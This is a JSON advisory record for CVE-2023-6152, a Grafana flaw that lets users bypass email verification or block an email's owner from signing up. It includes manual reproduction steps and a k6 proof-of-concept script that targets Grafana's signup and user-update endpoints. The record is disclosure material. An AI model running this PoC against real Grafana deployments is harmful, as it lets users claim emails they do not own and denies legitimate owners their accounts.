CVE-2023-6152: Github.com/grafana/grafana Email Validation Bypass And Preventing Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3hv4-r2fm-h27f",
  "modified" : "2025-02-18T22:29:35Z",
  "published" : "2024-02-13T22:25:10Z",
  "aliases" : [ "CVE-2023-6152" ],
  "summary" : "Email Validation Bypass And Preventing Sign Up From Email's Owner",
  "details" : "### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it's email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email's owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don't know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to  bar@example.com\n* That's it, your using an email you don't own.\n\nPrevent email's owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n  scenarios: {\n    perVuIter: {\n      executor: 'per-vu-iterations',\n      vus: 1,\n      iterations: 1\n    }\n  }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n  group(\"create user_a with email foo@example.com\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  group(\"change user_a login to bar@example.com\", () => {\n    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"login\": \"bar@example.com\", // user_b email.\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  http.cookieJar().clear(GRAFANA_URL)\n\n  group(\"create user_b with email bar@example.com\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"bar@example.com\",\n      \"username\": \"bar@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200 // fail\n    })\n  })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.5.0"
      }, {
        "fixed" : "9.5.16"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.0.0"
      }, {
        "fixed" : "10.0.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.1.0"
      }, {
        "fixed" : "10.1.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.2.0"
      }, {
        "fixed" : "10.2.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.3.0"
      }, {
        "fixed" : "10.3.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-6152"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/grafana/grafana"
  }, {
    "type" : "WEB",
    "url" : "https://grafana.com/security/security-advisories/cve-2023-6152"
  }, {
    "type" : "WEB",
    "url" : "https://security.netapp.com/advisory/ntap-20250214-0008"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-02-13T22:25:10Z",
    "nvd_published_at" : "2024-02-13T22:15:45Z"
  }
}